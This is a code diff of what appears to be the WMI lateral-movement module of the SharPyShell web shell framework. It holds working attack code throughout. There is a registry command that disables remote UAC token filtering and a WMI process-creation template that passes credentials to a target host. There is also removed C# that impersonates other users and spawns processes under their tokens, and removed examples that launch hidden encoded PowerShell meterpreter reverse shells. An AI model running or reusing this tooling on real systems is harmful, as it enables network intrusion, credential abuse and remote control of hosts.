skipped 23 lines 24 24 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 25 25 26 26 If you use domain users for the lateral movement, no restrictions to the process token will be applied. 27 + Remember to always specify the domain in the username field. If you use a local account use 27 28 28 29 This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target 29 30 server. 30 - 31 - Moreover this module should be run from a privileged user. 32 - If the application pool within the web application you are interacting with is run with application pool 33 - identity account or any limited account you won't be able to move laterally to other systems 34 - due to restrictions applied to the user. 35 - In those cases, you need to use different credentials of a more privileged user in order to launch this module. 36 31 37 32 Note that, wmi commands don't return stdout/stderr output from the execution of remote processes. 38 33 You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn skipped 8 lines 47 42 you can specify domain\username if user is in a domain 48 43 password password of the user to use to login on the target server 49 44 command a command compatible by cmd.exe 50 - [local_user] the username of a local user with privileged rights 51 - [local_password] the password of a local user with privileged rights 52 - [local_domain] the domain of a local user with privileged rights 53 45 54 46 Examples: 55 47 Lateral movement as privileged current application pool user, output to local shared resource: 56 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192 . 168 . 56 . 101 \everyone \ output .txt' 57 - Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd): 58 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1' 59 - Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd): 60 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' 48 + #lateral_wmi 192.168.56.102 'domain \ remote_user1' 'remote_password1' 'whoami /all > C : \Windows \Temp \whoami .txt' 61 49 62 50 """ 63 51 skipped 40 lines 104 92 } 105 93 """ 106 94 107 - _runtime_code_runas = r""" 108 - using System;using System.IO;using System.Diagnostics;using System.Text; 109 - using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution; 110 - 111 - public class SharPyShell 112 - { 113 - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid 114 - { 115 - private SafeTokenHandle() 116 - : base(true) 117 - { 118 - } 119 - 120 - [DllImport("kernel32.dll")] 121 - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 122 - [SuppressUnmanagedCodeSecurity] 123 - [return: MarshalAs(UnmanagedType.Bool)] 124 - private static extern bool CloseHandle(IntPtr handle); 125 - 126 - protected override bool ReleaseHandle() 127 - { 128 - return CloseHandle(handle); 129 - } 130 - } 131 - 132 - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO 133 - { 134 - public int cb; 135 - public String lpReserved; 136 - public String lpDesktop; 137 - public String lpTitle; 138 - public uint dwX; 139 - public uint dwY; 140 - public uint dwXSize; 141 - public uint dwYSize; 142 - public uint dwXCountChars; 143 - public uint dwYCountChars; 144 - public uint dwFillAttribute; 145 - public uint dwFlags; 146 - public short wShowWindow; 147 - public short cbReserved2; 148 - public IntPtr lpReserved2; 149 - public IntPtr hStdInput; 150 - public IntPtr hStdOutput; 151 - public IntPtr hStdError; 152 - } 153 - 154 - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION 155 - { 156 - public IntPtr hProcess; 157 - public IntPtr hThread; 158 - public uint dwProcessId; 159 - public uint dwThreadId; 160 - } 161 - 162 - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES 163 - { 164 - public int Length; 165 - public IntPtr lpSecurityDescriptor; 166 - public bool bInheritHandle; 167 - } 168 - 169 - [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] 170 - public static extern bool CloseHandle(IntPtr handle); 171 - 172 - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 173 - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); 174 - 175 - [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)] 176 - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 177 - 178 - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] 179 - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); 180 - 181 - [DllImport("kernel32.dll", SetLastError=true)] 182 - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 183 - 184 - const uint WAIT_ABANDONED = 0x00000080; 185 - const uint WAIT_OBJECT_0 = 0x00000000; 186 - const uint WAIT_TIMEOUT = 0x00000102; 187 - 188 - [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")] 189 - public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory) 190 - { 191 - SafeTokenHandle safeTokenHandle; 192 - int logon_type = 4; 193 - uint process_ms_timeout = 60000; 194 - string output = ""; 195 - string error_string = "{{{SharPyShellError}}}"; 196 - try 197 - { 198 - const int LOGON32_PROVIDER_DEFAULT = 0; 199 - const int LOGON32_PROVIDER_WINNT35 = 1; 200 - const int LOGON32_PROVIDER_WINNT40 = 2; 201 - const int LOGON32_PROVIDER_WINNT50 = 3; 202 - bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle); 203 - if (false == returnValue) 204 - { 205 - output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error(); 206 - return output; 207 - } 208 - using (safeTokenHandle) 209 - { 210 - using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle())) 211 - { 212 - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate()) 213 - { 214 - IntPtr Token = new IntPtr(0); 215 - IntPtr DupedToken = new IntPtr(0); 216 - bool ret; 217 - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); 218 - sa.bInheritHandle = false; 219 - sa.Length = Marshal.SizeOf(sa); 220 - sa.lpSecurityDescriptor = (IntPtr)0; 221 - Token = WindowsIdentity.GetCurrent().Token; 222 - const uint GENERIC_ALL = 0x10000000; 223 - const int SecurityImpersonation = 2; 224 - const int TokenType = 1; 225 - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); 226 - if (ret == false){ 227 - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); 228 - return output; 229 - } 230 - STARTUPINFO si = new STARTUPINFO(); 231 - si.cb = Marshal.SizeOf(si); 232 - si.lpDesktop = ""; 233 - string commandLinePath = ""; 234 - File.Create(stdout_file).Dispose(); 235 - File.Create(stderr_file).Dispose(); 236 - string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec"); 237 - string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe"; 238 - commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file; 239 - PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 240 - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); 241 - if (ret == false){ 242 - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); 243 - return output; 244 - } 245 - else{ 246 - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); 247 - if(wait_for == WAIT_OBJECT_0){ 248 - output += "\n" + File.ReadAllText(stdout_file); 249 - string errors = File.ReadAllText(stderr_file); 250 - if (!String.IsNullOrEmpty(errors)) 251 - output += "\n" + errors; 252 - } 253 - else{ 254 - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); 255 - } 256 - File.Delete(stdout_file); 257 - File.Delete(stderr_file); 258 - CloseHandle(pi.hProcess); 259 - CloseHandle(pi.hThread); 260 - } 261 - CloseHandle(DupedToken); 262 - } 263 - } 264 - } 265 - } 266 - catch (Exception ex) 267 - { 268 - output += error_string + "\nException occurred. " + ex.Message; 269 - return output; 270 - } 271 - return output; 272 - } 273 - 274 - public byte[] ExecRuntime() 275 - { 276 - string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s"); 277 - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); 278 - return(output_func_byte); 279 - } 280 - } 281 - """ 282 - 283 - __default_local_user = '' 284 - __default_local_password = '' 285 - __default_local_domain = '' 286 95 __wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""' 287 96 288 97 def __run_as_current_user(self, wmi_code_arguments): 289 - request = self._create_request([ wmi_code_arguments, ' current_user ' ] ) 290 - encrypted_request = self._encrypt_request(request) 291 - encrypted_response = self._post_request(encrypted_request) 292 - decrypted_response = self._decrypt_response(encrypted_response) 293 - return decrypted_response 294 - 295 - def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain): 296 - request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas']) 98 + request = self._create_request(wmi_code_arguments) 297 99 encrypted_request = self._encrypt_request(request) 298 100 encrypted_response = self._post_request(encrypted_request) 299 101 decrypted_response = self._decrypt_response(encrypted_response) skipped 7 lines 307 109 username = args_parser.get(1) 308 110 password = args_parser.get(2) 309 111 command = args_parser.get(3) 310 - local_user = args_parser.get(4, self.__default_local_user) 311 - local_password = args_parser.get(5, self.__default_local_password) 312 - local_domain = args_parser.get(6, self.__default_local_domain) 313 - return target_ip, username, password, command, local_user, local_password, local_domain 112 + return target_ip, username, password, command 314 113 315 114 def _create_request(self, args): 316 - arguments, request_type = args 115 + arguments = args 317 116 working_path = self._module_settings['working_directory'] 318 - if request_type == 'runas': 319 - wmi_code_arguments, local_user, local_password, local_domain = arguments 320 - stdout_file = self._module_settings['env_directory'] + '\\' + random_generator() 321 - stderr_file = self._module_settings['env_directory'] + '\\' + random_generator() 322 - request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments, 323 - stdout_file, stderr_file, working_path) 324 - else: 325 - wmi_code_arguments = arguments 326 - request = self._runtime_code % (wmi_code_arguments, working_path) 117 + wmi_code_arguments = arguments 118 + request = self._runtime_code % (wmi_code_arguments, working_path) 327 119 return request 328 120 329 121 def run(self, args): 330 122 try: 331 - target_ip, username, password, command, \ 332 - local_user, local_password, local_domain = self.__parse_run_args(args) 123 + target_ip, username, password, command = self . __parse_run_args ( args ) 333 124 wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command) 334 - if local_user == '': 335 - response = self.__run_as_current_user(wmi_code_arguments) 336 - else: 337 - response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain) 125 + response = self.__run_as_current_user(wmi_code_arguments) 338 126 parsed_response = self._parse_response(response) 339 127 except ModuleException as module_exc: 340 128 parsed_response = str(module_exc) skipped 5 lines